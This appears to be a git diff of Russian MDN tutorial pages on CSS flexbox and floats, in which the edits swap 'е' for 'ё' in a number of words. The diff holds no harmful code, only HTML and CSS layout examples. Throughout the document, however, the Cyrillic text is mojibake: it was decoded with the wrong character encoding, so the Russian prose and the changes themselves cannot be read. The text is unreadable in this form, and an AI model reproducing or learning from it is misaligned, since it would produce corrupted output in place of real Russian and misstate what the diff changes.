-<p>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ элСмСнт {{htmlelement("header")}} с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня Π²Π½ΡƒΡ‚Ρ€ΠΈ, ΠΈ элСмСнт {{htmlelement("section")}} содСрТащий Ρ‚Ρ€ΠΈ элСмСнта {{htmlelement("article")}}. ΠœΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… для создания стандартного Ρ‚Ρ€Π΅Ρ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π°.</p>
+<p>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ элСмСнт {{htmlelement("header")}} с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня Π²Π½ΡƒΡ‚Ρ€ΠΈ, ΠΈ элСмСнт {{htmlelement("section")}} содСрТащий Ρ‚Ρ€ΠΈ элСмСнта {{htmlelement("article")}}. ΠœΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… для создания стандартного Ρ‚Ρ€Ρ‘Ρ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π°.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p>
@@ -288,7 +288,7 @@ article:nth-of-type(3) {
justify-content: space-around;
}</pre>
-<p>НаконСц, ΠΌΡ‹ устанавливаСм Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠ½ΠΎΠΏΠΊΠ΅, ΠΌΡ‹ Π΄Π°Π΅ΠΌ Π΅ΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ flex 1. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚Β ΠΎΡ‡Π΅Π½ΡŒ интСрСсный эффСкт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ссли ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΎΠΊΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Кнопки Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ мСста, сколько ΠΌΠΎΠ³ΡƒΡ‚, ΠΈ сидят Π½Π° ΠΎΠ΄Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ Ρ‚Π°ΠΊΠΆΠ΅, сколько ΠΌΠΎΠ³ΡƒΡ‚. Если ΠΆΠ΅ ΠΎΠ½ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΊΠΎΠΌΡ„ΠΎΡ€Ρ‚Π½ΠΎ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒΡΡ Π½Π° ΠΎΠ΄Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ, ΠΎΠ½ΠΈ ΠΏΠ΅Ρ€Π΅ΠΏΡ€Ρ‹Π³Π½ΡƒΡ‚ на новыС строки.</p>
+<p>НаконСц, ΠΌΡ‹ устанавливаСм Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠ½ΠΎΠΏΠΊΠ΅, ΠΌΡ‹ Π΄Π°Ρ‘ΠΌ Π΅ΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ flex 1. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚Β ΠΎΡ‡Π΅Π½ΡŒ интСрСсный эффСкт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ссли ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΎΠΊΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Кнопки Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ мСста, сколько ΠΌΠΎΠ³ΡƒΡ‚, ΠΈ сидят Π½Π° ΠΎΠ΄Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ Ρ‚Π°ΠΊΠΆΠ΅, сколько ΠΌΠΎΠ³ΡƒΡ‚. Если ΠΆΠ΅ ΠΎΠ½ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΊΠΎΠΌΡ„ΠΎΡ€Ρ‚Π½ΠΎ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒΡΡ Π½Π° ΠΎΠ΄Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ, ΠΎΠ½ΠΈ ΠΏΠ΅Ρ€Π΅ΠΏΡ€Ρ‹Π³Π½ΡƒΡ‚ на новыС строки.</p>
<pre class="brush: css notranslate">button {
flex: 1;
@@ -309,6 +309,6 @@ article:nth-of-type(3) {
<h2 id="ΠŸΠΎΠ΄Ρ‹Ρ‚ΠΎΠΆΠΈΠΌ">ΠŸΠΎΠ΄Ρ‹Ρ‚ΠΎΠΆΠΈΠΌ</h2>
-<p>ΠœΡ‹ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅ΠΌΒ Π½Π°ΡˆΡƒ ΡΡ‚Π°Ρ‚ΡŒΡŽ ΠΏΠΎ основам flexbox. НадССмся, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ ΠΏΠΎΠ½Ρ€Π°Π²ΠΈΠ»ΠΎΡΡŒ, ΠΈ Π²Ρ‹ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π·Π²Π»Π΅Ρ‡Ρ‘Ρ‚Π΅ΡΡŒ, ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΡƒΡ дальшС и изучая Π΅Π³ΠΎ. Π”Π°Π»Π΅Π΅ ΠΌΡ‹ рассмотрим Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Π²Π°ΠΆΠ½Ρ‹ΠΉ аспСкт ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² CSS - grid-систСмы.</p>
+<p>ΠœΡ‹ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅ΠΌΒ Π½Π°ΡˆΡƒ ΡΡ‚Π°Ρ‚ΡŒΡŽ ΠΏΠΎ основам flexbox. НадССмся, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ ΠΏΠΎΠ½Ρ€Π°Π²ΠΈΠ»ΠΎΡΡŒ, ΠΈ Π²Ρ‹ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π·Π²Π»Π΅Ρ‡Ρ‘Ρ‚Π΅ΡΡŒ, ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΡƒΡ дальшС и изучая Π΅Π³ΠΎ. Π”Π°Π»Π΅Π΅ ΠΌΡ‹ рассмотрим Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Π²Π°ΠΆΠ½Ρ‹ΠΉ аспСкт ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² CSS - grid-систСмы.</p>
<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div>
diff --git a/files/ru/learn/css/css_layout/floats/index.html b/files/ru/learn/css/css_layout/floats/index.html
index 86ff3ac15d..9fc55d47cf 100644
--- a/files/ru/learn/css/css_layout/floats/index.html
+++ b/files/ru/learn/css/css_layout/floats/index.html
@@ -26,7 +26,7 @@ translation_of: Learn/CSS/CSS_layout/Floats
<p>Бвойство {{cssxref("float")}} вводилось для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΌΠΎΠ³Π»ΠΈΒ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, с ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π½ΠΈΠ΅ΠΌ тСкста Π²ΠΎΠΊΡ€ΡƒΠ³ Π½Π΅Π³ΠΎ слСва ΠΈΠ»ΠΈ справа, ΠΊΠ°ΠΊ это часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π³Π°Π·Π΅Ρ‚Π°Ρ….</p>
-<p>Но Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ быстро осознали, Ρ‡Ρ‚ΠΎΒ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Ρ‚ΡŒ всС Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ изобраТСния, поэтому использованиС float Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠ»ΠΎΡΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ для вСрстки Π·Π°Π±Π°Π²Π½Ρ‹Ρ… эффСктов Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ <a href="https://css-tricks.com/snippets/css/drop-caps/">drop-caps</a> (Π±ΡƒΠΊΠ²ΠΈΡ†Π°).</p>
+<p>Но Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ быстро осознали, Ρ‡Ρ‚ΠΎΒ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Ρ‚ΡŒ всС Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ изобраТСния, поэтому использованиС float Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠ»ΠΎΡΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ для вёрстки Π·Π°Π±Π°Π²Π½Ρ‹Ρ… эффСктов Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ <a href="https://css-tricks.com/snippets/css/drop-caps/">drop-caps</a> (Π±ΡƒΠΊΠ²ΠΈΡ†Π°).</p>
<p>Floats ΠΎΡ‡Π΅Π½ΡŒ часто использовались для создания ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Ρ†Π΅Π»Ρ‹Ρ… Π²Π΅Π±-страниц, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΡ… нСсколько ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹Ρ… Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ (ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ, Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ порядкС Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π² источникС). Доступны Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²Ρ‹Π΅, Π»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ поэтому использованиС floats для этих Ρ†Π΅Π»Π΅ΠΉ слСдуСт Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ΅ΠΉ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΎΠΉ</a>.</p>
@@ -34,9 +34,9 @@ translation_of: Learn/CSS/CSS_layout/Floats
<h2 id="ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€_float">ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ float</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ выясним ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ floats. ΠœΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с ΠΎΡ‡Π΅Π½ΡŒ простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π½ΠΈΠ΅ элСмСнта Π±Π»ΠΎΠΊΠΎΠΌ тСкста. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ Π·Π° Π½Π°ΠΌΠΈ создав Π½ΠΎΠ²Ρ‹ΠΉ <code>index.html</code> Ρ„Π°ΠΉΠ» Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Π·Π°ΠΏΠΎΠ»Π½ΠΈΠ² Π΅Π³ΠΎ <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">простым шаблоном HTML</a>, ΠΈ вставив ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅ Π² подходящСС мСсто. Π’ ΠΊΠΎΠ½Ρ†Π΅ Ρ€Π°Π·Π΄Π΅Π»Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ выясним ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ floats. ΠœΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с ΠΎΡ‡Π΅Π½ΡŒ простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π½ΠΈΠ΅ элСмСнта Π±Π»ΠΎΠΊΠΎΠΌ тСкста. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ Π·Π° Π½Π°ΠΌΠΈ создав Π½ΠΎΠ²Ρ‹ΠΉ <code>index.html</code> Ρ„Π°ΠΉΠ» Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅, Π·Π°ΠΏΠΎΠ»Π½ΠΈΠ² Π΅Π³ΠΎ <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">простым шаблоном HTML</a>, ΠΈ вставив ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅ Π² подходящСС мСсто. Π’ ΠΊΠΎΠ½Ρ†Π΅ Ρ€Π°Π·Π΄Π΅Π»Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄.</p>
-<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ простого HTML β€” Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π² body вашСго HTML, ΡƒΠ΄Π°Π»ΠΈΠ² всС Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΌ Π±Ρ‹Π»ΠΎ Π΄ΠΎ этого:</p>
+<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ простого HTML β€” Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π² body вашСго HTML, ΡƒΠ΄Π°Π»ΠΈΠ² всС Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΌ Π±Ρ‹Π»ΠΎ Π΄ΠΎ этого:</p>
<pre class="brush: html notranslate">&lt;h1&gt;Simple float example&lt;/h1&gt;
@@ -175,11 +175,11 @@ translation_of: Learn/CSS/CSS_layout/Floats
<p>{{ EmbedLiveSample('Float_2', '100%', 500) }}</p>
-<p><a href="/en-US/docs/Web/CSS/Visual_formatting_model#Line_boxes">Π›ΠΈΠ½Π΅ΠΉΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ</a> нашСго ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта Π±Ρ‹Π»ΠΈ сокращСны Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ тСкст располагаСтся Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π½ΠΎ ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ удаляСтся ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° Π±Π»ΠΎΠΊ Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π° всС Π΅Ρ‰Π΅ остаСтся Π² ΠΏΠΎΠ»Π½ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ.</p>
+<p><a href="/en-US/docs/Web/CSS/Visual_formatting_model#Line_boxes">Π›ΠΈΠ½Π΅ΠΉΠ½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ</a> нашСго ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта Π±Ρ‹Π»ΠΈ сокращСны Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ тСкст располагаСтся Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π½ΠΎ ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ удаляСтся ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° Π±Π»ΠΎΠΊ Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π° всС Π΅Ρ‰Ρ‘ остаётся Π² ΠΏΠΎΠ»Π½ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ.</p>
<h2 id="ΠžΡ‡ΠΈΡΡ‚ΠΊΠ°_обтСкания">ΠžΡ‡ΠΈΡΡ‚ΠΊΠ° обтСкания</h2>
-<p>ΠœΡ‹ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΈ Ρ‡Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π·Π° Π½ΠΈΠΌ, поэтому Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ; Ρ‡Ρ‚ΠΎ достигаСтся ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ свойства {{cssxref("clear")}}.</p>
+<p>ΠœΡ‹ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΈ Ρ‡Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π·Π° Π½ΠΈΠΌ, поэтому Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ; Ρ‡Ρ‚ΠΎ достигаСтся ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ свойства {{cssxref("clear")}}.</p>
<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ класс <code>cleared</code> ΠΊΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρƒ послС ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΠΎΠ³ΠΎ элСмСнта Π² ваш HTML ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°. Π”Π°Π»Π΅Π΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ CSS:</p>
@@ -243,9 +243,9 @@ translation_of: Learn/CSS/CSS_layout/Floats
<li><code>both</code>: ΠΎΡ‡ΠΈΡ‰Π°Π΅Ρ‚ Π»ΡŽΠ±Ρ‹Π΅ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, слСва ΠΈΠ»ΠΈ справа.</li>
</ul>
-<h2 id="ΠžΡ‡ΠΈΡΡ‚ΠΊΠ°_Π±Π»ΠΎΠΊΠΎΠ²_ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚Ρ‹Ρ…_Π²ΠΎΠΊΡ€ΡƒΠ³_ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹Ρ…_элСмСнтов">ΠžΡ‡ΠΈΡΡ‚ΠΊΠ° Π±Π»ΠΎΠΊΠΎΠ² ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚Ρ‹Ρ… Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹Ρ… элСмСнтов</h2>
+<h2 id="ΠžΡ‡ΠΈΡΡ‚ΠΊΠ°_Π±Π»ΠΎΠΊΠΎΠ²_ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹Ρ…_Π²ΠΎΠΊΡ€ΡƒΠ³_ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹Ρ…_элСмСнтов">ΠžΡ‡ΠΈΡΡ‚ΠΊΠ° Π±Π»ΠΎΠΊΠΎΠ² ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹Ρ… Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹Ρ… элСмСнтов</h2>
